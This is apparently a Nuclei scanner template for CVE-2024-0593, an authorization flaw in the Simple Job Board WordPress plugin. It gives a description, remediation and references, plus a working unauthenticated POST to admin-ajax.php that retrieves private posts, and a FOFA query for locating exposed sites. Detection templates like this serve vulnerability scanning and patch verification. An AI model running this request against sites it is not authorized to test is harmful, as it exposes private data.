WordPress Simple Job Board - Unauthorized Data Access

id: CVE-2024-0593

info:
  name: WordPress Simple Job Board - Unauthorized Data Access
  author: zer0p0int
  severity: medium
  description: |
    The Simple Job Board plugin for WordPress is vulnerable to unauthorized data access due to insufficient authorization checking in the fetch_quick_job() function in all versions up to and including 2.10.8. This makes it possible for unauthenticated attackers to fetch arbitrary posts, which can be password protected or private and contain sensitive information.
  impact: |
    Unauthenticated attackers can access password-protected or private posts containing sensitive information without authorization, potentially exposing confidential job postings or internal data.
  remediation: |
    Upgrade to Simple Job Board version 2.10.9 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/0a28a161-3dbc-4ef0-a2ce-4c102cf3cbb0
    - https://plugins.trac.wordpress.org/changeset/3038476/simple-job-board/trunk/includes/class-simple-job-board-ajax.php
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0593
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-0593
    epss-score: 0.00909
    epss-percentile: 0.55638
    cwe-id: CWE-862
    cpe: cpe:2.3:a:awsm:simple_job_board:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: awsm
    product: simple_job_board
    fofa-query: body="/wp-content/plugins/simple-job-board"
  tags: cve,cve2024,wp,wordpress,wp-plugin,simple-job-board,exposure,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=fetch_quick_job&job_id=1

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Apply Online"
          - "Submit</button>"
          - "Attach Resume"
          - "Start Company"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220758183b091020005d606a21494071cc2984197b6401f9ca0d5023d3d93c13282022100dc2e83785902fdd577e82c020d684f7447e444803c2dbe0d2143881e5fdbe555:922c64590222798bb761d5b6d8e72950